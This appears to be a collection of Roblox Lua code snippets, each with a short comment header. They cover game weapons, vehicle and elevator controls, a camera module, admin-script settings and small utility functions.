check=true
end
end
sp.Equipped:connect(function(mouse)
if mouse==nil then
print("Mouse not found")
return
end
equipped=true
mouse.Icon="rbxasset://textures\\GunCursor.png"
mouse.Button1Down:connect(function()
onButton1Down(mouse)
end)
end)
sp.Unequipped:connect(function()
equipped=false
handle.Transparency=1
randomcolor()
end)
|
--[[
Function called when leaving the state
]] |
function PlayerPostGame.leave(stateMachine)
end
return PlayerPostGame
|
------------------------------- |
repeat wait() until game.Players.LocalPlayer
m = game.Players.LocalPlayer:GetMouse()
m.KeyDown:connect(function(key)
if key == "0" then
game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = RunSpeed
end
end)
m.KeyUp:connect(function(key)
if key == "0" then
game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = AfterSpeed
end
end)
|
-- DevModules rely on dependencies. By convention, these are stored in a folder
-- named "Packages" inside the root of the DevModule. At runtime, the Packages
-- folders from every DevModule are deduplicated, resulting in only one version
-- of each package in use across all the DevModules in the game |
local PACKAGE_NAME = "Packages"
local PACKAGE_STORAGE_LOCATION = ReplicatedStorage
local PACKAGE_STORAGE_NAME = "DevModulePackages"
|
--[=[
@function concatDeep
@within Array
@param ... ...any -- The arrays to concatenate.
@return {T} -- The concatenated array.
Joins multiple arrays together into a single array, with deep copies of all
nested arrays.
#### Aliases
`joinDeep`, `mergeDeep`
```lua
local table1 = { 1, 2, { 3, 4 } }
local table2 = { 5, 6, { 7, 8 } }
local new = ConcatDeep(table1, table2) -- { 1, 2, { 3, 4 }, 5, 6, { 7, 8 } }
```
]=] |
local function concatDeep<T>(...: any): { T }
local result = {}
for arrayIndex = 1, select("#", ...) do
local array = select(arrayIndex, ...)
if type(array) ~= "table" then
continue
end
for _, value in ipairs(array) do
if value ~= None then
if type(value) == "table" then
table.insert(result, CopyDeep(value))
else
table.insert(result, value)
end
end
end
end
return result
end
return concatDeep
|
--[[Controls]] |
local _CTRL = _Tune.Controls
local Controls = Instance.new("Folder",script.Parent)
Controls.Name = "Controls"
for i,v in pairs(_CTRL) do
local a=Instance.new("StringValue",Controls)
a.Name=i
a.Value=v.Name
a.Changed:connect(function()
if i=="MouseThrottle" or i=="MouseBrake" then
if a.Value == "MouseButton1" or a.Value == "MouseButton2" then
_CTRL[i]=Enum.UserInputType[a.Value]
else
_CTRL[i]=Enum.KeyCode[a.Value]
end
else
_CTRL[i]=Enum.KeyCode[a.Value]
end
end)
end
--Deadzone Adjust
local _PPH = _Tune.Peripherals
for i,v in pairs(_PPH) do
local a = Instance.new("IntValue",Controls)
a.Name = i
a.Value = v
a.Changed:connect(function()
a.Value=math.min(100,math.max(0,a.Value))
_PPH[i] = a.Value
end)
end
--Input Handler
function DealWithInput(input,IsRobloxFunction)
if (UserInputService:GetFocusedTextBox()==nil) and not _InControls then --Ignore when UI Focus
--Shift Down [Manual Transmission]
if _IsOn and (input.KeyCode ==_CTRL["ContlrShiftDown"] or (_MSteer and input.KeyCode==_CTRL["MouseShiftDown"]) or ((not _MSteer) and input.KeyCode==_CTRL["ShiftDown"])) and ((_TMode=="Auto" and _CGear<=1) or _TMode=="Semi" or (_TMode=="Manual" and (not _ClutchOn))) and input.UserInputState == Enum.UserInputState.Begin then
if _CGear == 0 then _ClutchOn = true end
_CGear = math.max(_CGear-1,-1)
--Shift Up [Manual Transmission]
elseif _IsOn and (input.KeyCode ==_CTRL["ContlrShiftUp"] or (_MSteer and input.KeyCode==_CTRL["MouseShiftUp"]) or ((not _MSteer) and input.KeyCode==_CTRL["ShiftUp"])) and ((_TMode=="Auto" and _CGear<1) or _TMode=="Semi" or (_TMode=="Manual" and (not _ClutchOn))) and input.UserInputState == Enum.UserInputState.Begin then
if _CGear == 0 then _ClutchOn = true end
_CGear = math.min(_CGear+1,#_Tune.Ratios-2)
--Toggle Clutch
elseif _IsOn and (input.KeyCode ==_CTRL["ContlrClutch"] or (_MSteer and input.KeyCode==_CTRL["MouseClutch"]) or ((not _MSteer) and input.KeyCode==_CTRL["Clutch"])) and _TMode=="Manual" then
if input.UserInputState == Enum.UserInputState.Begin then
_ClutchOn = false
_ClPressing = true
elseif input.UserInputState == Enum.UserInputState.End then
_ClutchOn = true
_ClPressing = false
end
--Toggle PBrake
elseif _IsOn and input.KeyCode ==_CTRL["ContlrPBrake"] or (_MSteer and input.KeyCode==_CTRL["MousePBrake"]) or ((not _MSteer) and input.KeyCode==_CTRL["PBrake"]) then
if input.UserInputState == Enum.UserInputState.Begin then
_PBrake = not _PBrake
elseif input.UserInputState == Enum.UserInputState.End then
if car.DriveSeat.Velocity.Magnitude>5 then
_PBrake = false
end
end
--Toggle Transmission Mode
elseif (input.KeyCode == _CTRL["ContlrToggleTMode"] or input.KeyCode==_CTRL["ToggleTransMode"]) and input.UserInputState == Enum.UserInputState.Begin then
local n=1
for i,v in pairs(_Tune.TransModes) do
if v==_TMode then n=i break end
end
n=n+1
if n>#_Tune.TransModes then n=1 end
_TMode = _Tune.TransModes[n]
--Throttle
elseif _IsOn and ((not _MSteer) and (input.KeyCode==_CTRL["Throttle"] or input.KeyCode == _CTRL["Throttle2"])) or ((((_CTRL["MouseThrottle"]==Enum.UserInputType.MouseButton1 or _CTRL["MouseThrottle"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL["MouseThrottle"]) or input.KeyCode == _CTRL["MouseThrottle"])and _MSteer) then
if input.UserInputState == Enum.UserInputState.Begin then
_GThrot = 1
else
_GThrot = _Tune.IdleThrottle/100
end
--Brake
elseif ((not _MSteer) and (input.KeyCode==_CTRL["Brake"] or input.KeyCode == _CTRL["Brake2"])) or ((((_CTRL["MouseBrake"]==Enum.UserInputType.MouseButton1 or _CTRL["MouseBrake"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL["MouseBrake"]) or input.KeyCode == _CTRL["MouseBrake"])and _MSteer) then
if input.UserInputState == Enum.UserInputState.Begin then
_GBrake = 1
else
_GBrake = 0
end
--Steer Left
elseif (not _MSteer) and (input.KeyCode==_CTRL["SteerLeft"] or input.KeyCode == _CTRL["SteerLeft2"]) then
if input.UserInputState == Enum.UserInputState.Begin then
_GSteerT = -1
_SteerL = true
else
if _SteerR then
_GSteerT = 1
else
_GSteerT = 0
end
_SteerL = false
end
--Steer Right
elseif (not _MSteer) and (input.KeyCode==_CTRL["SteerRight"] or input.KeyCode == _CTRL["SteerRight2"]) then
if input.UserInputState == Enum.UserInputState.Begin then
_GSteerT = 1
_SteerR = true
else
if _SteerL then
_GSteerT = -1
else
_GSteerT = 0
end
_SteerR = false
end
--Toggle Mouse Controls
elseif input.KeyCode ==_CTRL["ToggleMouseDrive"] then
if input.UserInputState == Enum.UserInputState.End then
_MSteer = not _MSteer
_GThrot = _Tune.IdleThrottle/100
_GBrake = 0
_GSteerT = 0
_ClutchOn = true
end
--Toggle TCS
elseif _Tune.TCSEnabled and _IsOn and input.KeyCode == _CTRL["ToggleTCS"] or input.KeyCode == _CTRL["ContlrToggleTCS"] then
if input.UserInputState == Enum.UserInputState.End then
if script.Parent.DriveMode.Value ~= "SportPlus" then
_TCS = not _TCS
end
end
--Toggle ABS
elseif _Tune. ABSEnabled and _IsOn and input.KeyCode == _CTRL["ToggleABS"] or input.KeyCode == _CTRL["ContlrToggleABS"] then
if input.UserInputState == Enum.UserInputState.End then
_ABS = not _ABS
end
end
--Variable Controls
if input.UserInputType.Name:find("Gamepad") then
--Gamepad Steering
if input.KeyCode == _CTRL["ContlrSteer"] then
if input.Position.X>= 0 then
local cDZone = math.min(.99,_Tune.Peripherals.ControlRDZone/100)
if math.abs(input.Position.X)>cDZone then
_GSteerT = (input.Position.X-cDZone)/(1-cDZone)
else
_GSteerT = 0
end
else
local cDZone = math.min(.99,_Tune.Peripherals.ControlLDZone/100)
if math.abs(input.Position.X)>cDZone then
_GSteerT = (input.Position.X+cDZone)/(1-cDZone)
else
_GSteerT = 0
end
end
--Gamepad Throttle
elseif _IsOn and input.KeyCode == _CTRL["ContlrThrottle"] then
_GThrot = math.max(_Tune.IdleThrottle/100,input.Position.Z)
--Gamepad Brake
elseif input.KeyCode == _CTRL["ContlrBrake"] then
_GBrake = input.Position.Z
end
end
else
_GThrot = _Tune.IdleThrottle/100
_GSteerT = 0
_GBrake = 0
if _CGear~=0 then _ClutchOn = true end
end
end
UserInputService.InputBegan:connect(DealWithInput)
UserInputService.InputChanged:connect(DealWithInput)
UserInputService.InputEnded:connect(DealWithInput)
local OGDrivemode
local Kickdown = false
UserInputService.InputBegan:Connect(function(key, focus)
if focus == false and not _InControls and script.Parent.DriveMode.Value == "Comfort" then
if key.KeyCode == _CTRL["Throttle2"] and _CGear > 0 then
if tick() - CurrKickdown <= _Tune.KickdownWindow then
--kickdown activated
OGDrivemode = script.Parent.DriveMode.Value
Kickdown = true
script.Parent.DriveMode.Value = "Sport++"
if _RPM <= _Tune.KickdownRPMCap then
_CGear = math.max(_CGear-1, 1)
end
end
CurrKickdown = tick()
end
end
end)
UserInputService.InputBegan:Connect(function(input, focus)
if focus == true then return end
if script.Parent.Values.Throttle.Value == 1 and input.UserInputType.Name:find("Gamepad") and _CGear > 0 then
--kickdown activated
OGDrivemode = script.Parent.DriveMode.Value
Kickdown = true
script.Parent.DriveMode.Value = "Sport++"
if _RPM <= _Tune.KickdownRPMCap then
_CGear = math.max(_CGear-1, 1)
end
end
end)
script.Parent.Values.Throttle.Changed:Connect(function()
if script.Parent.Values.Throttle.Value ~= 1 and Kickdown == true then
Kickdown = false
script.Parent.DriveMode.Value = OGDrivemode == nil and "Comfort" or OGDrivemode
end
end)
|
--NOTE: We create the rocket once and then clone it when the player fires |
local Rocket = Instance.new('Part') do
-- Set up the rocket part
Rocket.Name = 'Rocket'
Rocket.FormFactor = Enum.FormFactor.Custom --NOTE: This must be done before changing Size
Rocket.Size = ROCKET_PART_SIZE
Rocket.CanCollide = false
-- Add the mesh
local mesh = Instance.new('SpecialMesh', Rocket)
mesh.MeshId = MISSILE_MESH_ID
mesh.Scale = MISSILE_MESH_SCALE
-- Add fire
local fire = Instance.new('Fire', Rocket)
fire.Heat = 5
fire.Size = 2
-- Add a force to counteract gravity
local bodyForce = Instance.new('BodyForce', Rocket)
bodyForce.Name = 'Antigravity'
bodyForce.force = Vector3.new(0, Rocket:GetMass() * GRAVITY_ACCELERATION, 0)
-- Clone the sounds and set Boom to PlayOnRemove
local swooshSoundClone = SwooshSound:Clone()
swooshSoundClone.Parent = Rocket
local boomSoundClone = BoomSound:Clone()
boomSoundClone.PlayOnRemove = true
boomSoundClone.Parent = Rocket
-- Attach creator tags to the rocket early on
local creatorTag = Instance.new('ObjectValue', Rocket)
creatorTag.Value = MyPlayer
creatorTag.Name = 'creator' --NOTE: Must be called 'creator' for website stats
local iconTag = Instance.new('StringValue', creatorTag)
iconTag.Value = Tool.TextureId
iconTag.Name = 'icon'
-- Finally, clone the rocket script and enable it
local rocketScriptClone = RocketScript:Clone()
rocketScriptClone.Parent = Rocket
rocketScriptClone.Disabled = false
end
|
--/ Cobalt /-- |
local config = {
--/ Doors /--
["reopenLimit"] = 5, -- How many times the door will reopen
["doorMoveTime"] = 2, -- How many seconds to move the door
["doorSensors"] = true, -- Reopen door if it bumps a player
["openTime"] = 7.2, -- How many seconds the door stays open
--/ Motor /--
["levelTolerance"] = 0.05, -- How many studs of tolerance
["insSpeed"] = 4, -- Speed of the lift on inspection mode
["minSpeed"] = 0.5, -- Final levelling speed, affects accuracy
["maxSpeed"] = 11, -- Maximum velocity the lift can travel
["acceleration"] = 0.5, -- How quickly the lift speeds up
["braking"] = 1, -- How quickly the lift slows down
["cframe"] = true, -- Enable to use CFrame engine
["maxForce"] = 9999999, -- Maximum physics force
--/ Audio /--
--/ Voice /--
["narrator"] = false, -- Enable or disable pre-configured voice
["CustomVoice"] = false,
["VoiceMerged"] = false,
["VoiceID"] = "rbxassetid://0",
["VoiceVolume"] = .1,
--/ Seperate Voice /-
["DirSoundWhenMove"] = false,
["UpVoice"] = "rbxassetid://532751155",
["DownVoice"] = "rbxassetid://532750437",
["StandClear"] = false,
["StDoorVoice"] = "rbxassetid://532751254",
["StDoorDelay"] = 5.3,
["DoorClosingSound"] = false,
["ClosingSoundID"] = "rbxassetid://532751211",
["ClosingSoundDelay"] = 4.3,
["F1"] = "rbxassetid://529580208",
["F1Delay"] = 3.3,
["F2"] = "rbxassetid://529580685",
["F2Delay"] = 3.2,
["F3"] = "rbxassetid://529580778",
["F3Delay"] = 3.4,
["F4"] = "rbxassetid://529580887",
["F4Delay"] = 3.3,
["F5"] = "rbxassetid://529580943",
["F5Delay"] = 3.2,
["F6"] = "rbxassetid://529581042",
["F6Delay"] = 3.2,
["F7"] = "rbxassetid://529582790",
["F7Delay"] = 3.5,
["F8"] = "rbxassetid://529582855",
["F8Delay"] = 3.3,
["F9"] = "rbxassetid://529582983",
["F9Delay"] = 3.4,
["F10"] = "rbxassetid://529583558",
["F10Delay"] = 3.3,
["F11"] = "rbxassetid://529583811",
["F11Delay"] = 3.8,
["F12"] = "rbxassetid://529583900",
["F12Delay"] = 3.7,
["F13"] = "rbxassetid://529583979",
["F13Delay"] = 4.2,
["F14"] = "rbxassetid://529584046",
["F14Delay"] = 4.1,
["F15"] = "rbxassetid://529584115",
["F15Delay"] = 3.9,
["F16"] = "rbxassetid://529584151",
["F16Delay"] = 4.1,
["F17"] = "rbxassetid://529584308",
["F17Delay"] = 4.2,
["F18"] = "rbxassetid://529584385",
["F18Delay"] = 4.0,
["F19"] = "rbxassetid://529584456",
["F19Delay"] = 4.0,
["F20"] = "rbxassetid://529584664",
["F20Delay"] = 3.9,
["liftMusic"] = true, -- Possibly the most important setting
["FloorPassChime"] = true, -- Floor Pass Chime
["upChime"] = function() -- Custom up chime
script.Parent.Car.Platform.ChimeU.PlaybackSpeed = 1
script.Parent.Car.Platform.ChimeU:Play()
end,
["downChime"] = function() -- Custom down chime
script.Parent.Car.Platform.ChimeD.PlaybackSpeed = 1
script.Parent.Car.Platform.ChimeD:Play()
end,
--/ Other /--
["weldPlayers"] = true, -- Weld players on car movement
["cwOffset"] = 2, -- Offset between roof and weight
}
|
--Rescripted by Luckymaxer |
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
Debris = game:GetService("Debris")
Speed = 100
Duration = 0.01
NozzleOffset = Vector3.new(0, 0.4, -1.1)
Sounds = {
Fire = Handle:WaitForChild("Fire"),
Reload = Handle:WaitForChild("Reload"),
HitFade = Handle:WaitForChild("HitFade")
}
PointLight = Handle:WaitForChild("PointLight")
ServerControl = (Tool:FindFirstChild("ServerControl") or Instance.new("RemoteFunction"))
ServerControl.Name = "ServerControl"
ServerControl.Parent = Tool
ClientControl = (Tool:FindFirstChild("ClientControl") or Instance.new("RemoteFunction"))
ClientControl.Name = "ClientControl"
ClientControl.Parent = Tool
ServerControl.OnServerInvoke = (function(player, Mode, Value, arg)
if player ~= Player or Humanoid.Health == 0 or not Tool.Enabled then
return
end
if Mode == "Click" and Value then
Activated(arg)
end
end)
function InvokeClient(Mode, Value)
pcall(function()
ClientControl:InvokeClient(Player, Mode, Value)
end)
end
function TagHumanoid(humanoid, player)
local Creator_Tag = Instance.new("ObjectValue")
Creator_Tag.Name = "creator"
Creator_Tag.Value = player
Debris:AddItem(Creator_Tag, 2)
Creator_Tag.Parent = humanoid
end
function UntagHumanoid(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
function FindCharacterAncestor(Parent)
if Parent and Parent ~= game:GetService("Workspace") then
local humanoid = Parent:FindFirstChild("Humanoid")
if humanoid then
return Parent, humanoid
else
return FindCharacterAncestor(Parent.Parent)
end
end
return nil
end
function GetTransparentsRecursive(Parent, PartsTable)
local PartsTable = (PartsTable or {})
for i, v in pairs(Parent:GetChildren()) do
local TransparencyExists = false
pcall(function()
local Transparency = v["Transparency"]
if Transparency then
TransparencyExists = true
end
end)
if TransparencyExists then
table.insert(PartsTable, v)
end
GetTransparentsRecursive(v, PartsTable)
end
return PartsTable
end
function SelectionBoxify(Object)
local SelectionBox = Instance.new("SelectionBox")
SelectionBox.Adornee = Object
SelectionBox.Color = BrickColor.new("Toothpaste")
SelectionBox.Parent = Object
return SelectionBox
end
local function Light(Object)
local Light = PointLight:Clone()
Light.Range = (Light.Range + 2)
Light.Parent = Object
end
function FadeOutObjects(Objects, FadeIncrement)
repeat
local LastObject = nil
for i, v in pairs(Objects) do
v.Transparency = (v.Transparency + FadeIncrement)
LastObject = v
end
wait()
until LastObject.Transparency >= 1 or not LastObject
end
function Dematerialize(character, humanoid, FirstPart)
if not character or not humanoid then
return
end
humanoid.WalkSpeed = 0
local Parts = {}
for i, v in pairs(character:GetChildren()) do
if v:IsA("BasePart") then
v.Anchored = true
table.insert(Parts, v)
elseif v:IsA("LocalScript") or v:IsA("Script") then
v:Destroy()
end
end
local SelectionBoxes = {}
local FirstSelectionBox = SelectionBoxify(FirstPart)
Light(FirstPart)
wait(0.05)
for i, v in pairs(Parts) do
if v ~= FirstPart then
table.insert(SelectionBoxes, SelectionBoxify(v))
Light(v)
end
end
local ObjectsWithTransparency = GetTransparentsRecursive(character)
FadeOutObjects(ObjectsWithTransparency, 0.1)
wait(0.03)
character:BreakJoints()
humanoid.Health = 0
Debris:AddItem(character, 2)
local FadeIncrement = 0.05
Delay(0.2, function()
FadeOutObjects({FirstSelectionBox}, FadeIncrement)
if character and character.Parent then
character:Destroy()
end
end)
FadeOutObjects(SelectionBoxes, FadeIncrement)
end
function Touched(Projectile, Hit)
if not Hit or not Hit.Parent then
return
end
local character, humanoid = FindCharacterAncestor(Hit)
if character and humanoid and character ~= Character then
local ForceFieldExists = false
for i, v in pairs(character:GetChildren()) do
if v:IsA("ForceField") then
ForceFieldExists = true
end
end
if not ForceFieldExists then
if Projectile then
local HitFadeSound = Projectile:FindFirstChild(Sounds.HitFade.Name)
local torso = humanoid.Torso
if HitFadeSound and torso then
HitFadeSound.Parent = torso
HitFadeSound:Play()
end
end
Dematerialize(character, humanoid, Hit)
end
if Projectile and Projectile.Parent then
Projectile:Destroy()
end
end
end
function Equipped()
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChild("Humanoid")
if not Player or not Humanoid or Humanoid.Health == 0 then
return
end
end
function Activated(target)
if Tool.Enabled and Humanoid.Health > 0 then
Tool.Enabled = false
InvokeClient("PlaySound", Sounds.Fire)
local HandleCFrame = Handle.CFrame
local FiringPoint = HandleCFrame.p + HandleCFrame:vectorToWorldSpace(NozzleOffset)
local ShotCFrame = CFrame.new(FiringPoint, target)
local LaserShotClone = BaseShot:Clone()
LaserShotClone.CFrame = ShotCFrame + (ShotCFrame.lookVector * (BaseShot.Size.Z / 2))
local BodyVelocity = Instance.new("BodyVelocity")
BodyVelocity.velocity = ShotCFrame.lookVector * Speed
BodyVelocity.Parent = LaserShotClone
LaserShotClone.Touched:connect(function(Hit)
if not Hit or not Hit.Parent then
return
end
Touched(LaserShotClone, Hit)
end)
Debris:AddItem(LaserShotClone, Duration)
LaserShotClone.Parent = game:GetService("Workspace")
wait(0.0) -- FireSound length
InvokeClient("PlaySound", Sounds.Reload)
wait(0.0) -- ReloadSound length
Tool.Enabled = true
end
end
function Unequipped()
end
BaseShot = Instance.new("Part")
BaseShot.Name = "Effect"
BaseShot.BrickColor = BrickColor.new("Toothpaste")
BaseShot.Material = Enum.Material.Plastic
BaseShot.Shape = Enum.PartType.Block
BaseShot.TopSurface = Enum.SurfaceType.Smooth
BaseShot.BottomSurface = Enum.SurfaceType.Smooth
BaseShot.FormFactor = Enum.FormFactor.Custom
BaseShot.Size = Vector3.new(0.2, 0.2, 3)
BaseShot.CanCollide = false
BaseShot.Locked = true
SelectionBoxify(BaseShot)
Light(BaseShot)
BaseShotSound = Sounds.HitFade:Clone()
BaseShotSound.Parent = BaseShot
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
|
-- Listener for changes to workspace.CurrentCamera |
function BaseCamera:OnCurrentCameraChanged()
if UserInputService.TouchEnabled then
if self.viewportSizeChangedConn then
self.viewportSizeChangedConn:Disconnect()
self.viewportSizeChangedConn = nil
end
local newCamera = game.Workspace.CurrentCamera
if newCamera then
self:OnViewportSizeChanged()
self.viewportSizeChangedConn = newCamera:GetPropertyChangedSignal("ViewportSize"):Connect(function()
self:OnViewportSizeChanged()
end)
end
end
-- VR support additions
if self.cameraSubjectChangedConn then
self.cameraSubjectChangedConn:Disconnect()
self.cameraSubjectChangedConn = nil
end
local camera = game.Workspace.CurrentCamera
if camera then
self.cameraSubjectChangedConn = camera:GetPropertyChangedSignal("CameraSubject"):Connect(function()
self:OnNewCameraSubject()
end)
self:OnNewCameraSubject()
end
end
function BaseCamera:OnDynamicThumbstickEnabled()
if UserInputService.TouchEnabled then
self.isDynamicThumbstickEnabled = true
end
end
function BaseCamera:OnDynamicThumbstickDisabled()
self.isDynamicThumbstickEnabled = false
end
function BaseCamera:OnGameSettingsTouchMovementModeChanged()
if player.DevTouchMovementMode == Enum.DevTouchMovementMode.UserChoice then
if (UserGameSettings.TouchMovementMode == Enum.TouchMovementMode.DynamicThumbstick
or UserGameSettings.TouchMovementMode == Enum.TouchMovementMode.Default) then
self:OnDynamicThumbstickEnabled()
else
self:OnDynamicThumbstickDisabled()
end
end
end
function BaseCamera:OnDevTouchMovementModeChanged()
if player.DevTouchMovementMode == Enum.DevTouchMovementMode.DynamicThumbstick then
self:OnDynamicThumbstickEnabled()
else
self:OnGameSettingsTouchMovementModeChanged()
end
end
function BaseCamera:OnPlayerCameraPropertyChange()
-- This call forces re-evaluation of player.CameraMode and clamping to min/max distance which may have changed
self:SetCameraToSubjectDistance(self.currentSubjectDistance)
end
function BaseCamera:InputTranslationToCameraAngleChange(translationVector, sensitivity)
return translationVector * sensitivity
end
function BaseCamera:GamepadZoomPress()
local dist = self:GetCameraToSubjectDistance()
if dist > (GAMEPAD_ZOOM_STEP_2 + GAMEPAD_ZOOM_STEP_3)/2 then
self:SetCameraToSubjectDistance(GAMEPAD_ZOOM_STEP_2)
elseif dist > (GAMEPAD_ZOOM_STEP_1 + GAMEPAD_ZOOM_STEP_2)/2 then
self:SetCameraToSubjectDistance(GAMEPAD_ZOOM_STEP_1)
else
self:SetCameraToSubjectDistance(GAMEPAD_ZOOM_STEP_3)
end
end
function BaseCamera:Enable(enable: boolean)
if self.enabled ~= enable then
self.enabled = enable
if self.enabled then
CameraInput.setInputEnabled(true)
self.gamepadZoomPressConnection = CameraInput.gamepadZoomPress:Connect(function()
self:GamepadZoomPress()
end)
if player.CameraMode == Enum.CameraMode.LockFirstPerson then
self.currentSubjectDistance = 0.5
if not self.inFirstPerson then
self:EnterFirstPerson()
end
end
else
CameraInput.setInputEnabled(false)
if self.gamepadZoomPressConnection then
self.gamepadZoomPressConnection:Disconnect()
self.gamepadZoomPressConnection = nil
end
-- Clean up additional event listeners and reset a bunch of properties
self:Cleanup()
end
self:OnEnable(enable)
end
end
function BaseCamera:OnEnable(enable: boolean)
-- for derived camera
end
function BaseCamera:GetEnabled(): boolean
return self.enabled
end
function BaseCamera:Cleanup()
if self.subjectStateChangedConn then
self.subjectStateChangedConn:Disconnect()
self.subjectStateChangedConn = nil
end
if self.viewportSizeChangedConn then
self.viewportSizeChangedConn:Disconnect()
self.viewportSizeChangedConn = nil
end
self.lastCameraTransform = nil
self.lastSubjectCFrame = nil
-- Unlock mouse for example if right mouse button was being held down
if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then
UserInputService.MouseBehavior = Enum.MouseBehavior.Default
end
end
function BaseCamera:UpdateMouseBehavior()
local blockToggleDueToClickToMove = UserGameSettings.ComputerMovementMode == Enum.ComputerMovementMode.ClickToMove
if self.isCameraToggle and blockToggleDueToClickToMove == false then
CameraUI.setCameraModeToastEnabled(true)
CameraInput.enableCameraToggleInput()
CameraToggleStateController(self.inFirstPerson)
else
CameraUI.setCameraModeToastEnabled(false)
CameraInput.disableCameraToggleInput()
-- first time transition to first person mode or mouse-locked third person
if self.inFirstPerson or self.inMouseLockedMode then
UserGameSettings.RotationType = Enum.RotationType.CameraRelative
UserInputService.MouseBehavior = Enum.MouseBehavior.LockCenter
else
UserGameSettings.RotationType = Enum.RotationType.MovementRelative
UserInputService.MouseBehavior = Enum.MouseBehavior.Default
end
end
end
function BaseCamera:UpdateForDistancePropertyChange()
-- Calling this setter with the current value will force checking that it is still
-- in range after a change to the min/max distance limits
self:SetCameraToSubjectDistance(self.currentSubjectDistance)
end
function BaseCamera:SetCameraToSubjectDistance(desiredSubjectDistance: number): number
local lastSubjectDistance = self.currentSubjectDistance
-- By default, camera modules will respect LockFirstPerson and override the currentSubjectDistance with 0
-- regardless of what Player.CameraMinZoomDistance is set to, so that first person can be made
-- available by the developer without needing to allow players to mousewheel dolly into first person.
-- Some modules will override this function to remove or change first-person capability.
if player.CameraMode == Enum.CameraMode.LockFirstPerson then
self.currentSubjectDistance = 0.5
if not self.inFirstPerson then
self:EnterFirstPerson()
end
else
local newSubjectDistance = math.clamp(desiredSubjectDistance, player.CameraMinZoomDistance, player.CameraMaxZoomDistance)
if newSubjectDistance < FIRST_PERSON_DISTANCE_THRESHOLD then
self.currentSubjectDistance = 0.5
if not self.inFirstPerson then
self:EnterFirstPerson()
end
else
self.currentSubjectDistance = newSubjectDistance
if self.inFirstPerson then
self:LeaveFirstPerson()
end
end
end
-- Pass target distance and zoom direction to the zoom controller
ZoomController.SetZoomParameters(self.currentSubjectDistance, math.sign(desiredSubjectDistance - lastSubjectDistance))
-- Returned only for convenience to the caller to know the outcome
return self.currentSubjectDistance
end
function BaseCamera:SetCameraType( cameraType )
--Used by derived classes
self.cameraType = cameraType
end
function BaseCamera:GetCameraType()
return self.cameraType
end
|
--[[
Package link auto-generated by Rotriever
]] |
local PackageIndex = script.Parent.Parent.Parent._Index
local Package = require(PackageIndex["RobloxShared"]["RobloxShared"])
export type Writeable = Package.Writeable
return Package
|
-- Basic Settings |
AdminCredit=true; -- Enables the credit GUI for that appears in the bottom right
AutoClean=false; -- Enables automatic cleaning of hats & tools in the Workspace
AutoCleanDelay=60; -- The delay between each AutoClean routine
CommandBar=true; -- Enables the Command Bar | GLOBAL KEYBIND: \
FunCommands=true; -- Enables fun yet unnecessary commands
FreeAdmin=false; -- Set to 1-5 to grant admin powers to all, otherwise set to false
PublicLogs=false; -- Allows all users to see the command & chat logs
Prefix='!'; -- Character to begin a command
--[[
Admin Powers
0 Player
1 VIP Can use nonabusive commands only on self
2 Moderator Can kick, mute, & use most commands
3 Administrator Can ban, crash, & set Moderators/VIP
4 SuperAdmin Can grant permanent powers, & shutdown the game
5 Owner Can set SuperAdmins, & use all the commands
6 Game Creator Can set owners & use all the commands
Group & VIP Admin
You can set multiple Groups & Ranks to grant users admin powers:
GroupAdmin={
[12345]={[254]=4,[253]=3};
[GROUPID]={[RANK]=ADMINPOWER}
};
You can set multiple Assets to grant users admin powers:
VIPAdmin={
[12345]=3;
[54321]=4;
[ITEMID]=ADMINPOWER;
}; ]]
GroupAdmin={
};
VIPAdmin={
};
|
-- regular lua compatibility |
local typeof = typeof or type
local function primitive(typeName)
return function(value)
local valueType = typeof(value)
if valueType == typeName then
return true
else
return false
end
end
end
local t = {}
function t.any(value)
if value ~= nil then
return true
else
return false
end
end
|
--// Event Connections |
L_22_.OnServerEvent:connect(function(L_45_arg1)
if L_45_arg1 == L_7_.Value then
L_18_ = false
L_3_:WaitForChild('Engine'):WaitForChild('BodyGyro'):Destroy()
L_3_:WaitForChild('Engine'):WaitForChild('BodyPosition'):Destroy()
for L_46_forvar1, L_47_forvar2 in pairs(L_3_:WaitForChild('Engine'):GetChildren()) do
if L_47_forvar2:IsA('Sound') then
L_47_forvar2:Stop()
end
end
for L_48_forvar1, L_49_forvar2 in pairs(L_3_:GetChildren()) do
if L_49_forvar2.Name == 'Vents' then
if L_49_forvar2:FindFirstChild('Smoke') then
L_49_forvar2.Smoke.EmissionDirection = 'Back'
L_49_forvar2.Smoke.Enabled = false
end
end
end
if L_15_ then
L_15_:Destroy()
end
elseif L_45_arg1 ~= L_7_.Value then
L_45_arg1:Kick('Stop Exploiting')
end
end)
L_23_.OnServerEvent:connect(function(L_50_arg1)
if L_50_arg1 == L_7_.Value then
for L_51_forvar1, L_52_forvar2 in pairs(L_3_:GetChildren()) do
if L_52_forvar2.Name == 'Vents' then
if L_52_forvar2:FindFirstChild('Smoke') then
L_52_forvar2.Smoke.EmissionDirection = 'Back'
L_52_forvar2.Smoke.Enabled = true
end
end
end
L_18_ = true
elseif L_50_arg1 ~= L_7_.Value then
L_50_arg1:Kick('Stop Exploiting')
end
end)
L_26_.OnServerInvoke = function(L_53_arg1, L_54_arg2, L_55_arg3, L_56_arg4, L_57_arg5, L_58_arg6, L_59_arg7, L_60_arg8)
local L_61_
if not L_61_ then
L_61_ = Instance.new("Part", workspace)
L_61_.Name = 'Crack'
L_61_.FormFactor = "Custom"
L_61_.TopSurface = 0
L_61_.BottomSurface = 0
L_61_.Transparency = 1
L_61_.Anchored = true
L_61_.CanCollide = false
L_61_.Size = Vector3.new(0.5, 0, 0.5)
L_61_.CFrame = CFrame.new(L_54_arg2) * CFrame.fromAxisAngle(L_55_arg3.magnitude == 0 and Vector3.new(1) or L_55_arg3.unit, L_56_arg4)
L_61_.BrickColor = BrickColor.new("Really black")
L_61_.Material = "SmoothPlastic"
if L_60_arg8 == 'NonExplosive' then
local L_62_ = Instance.new("Decal", L_61_)
L_62_.Texture = "rbxassetid://64291977"
L_62_.Face = "Top"
game.Debris:AddItem(L_62_, 3)
local L_63_ = Instance.new("PointLight", L_61_)
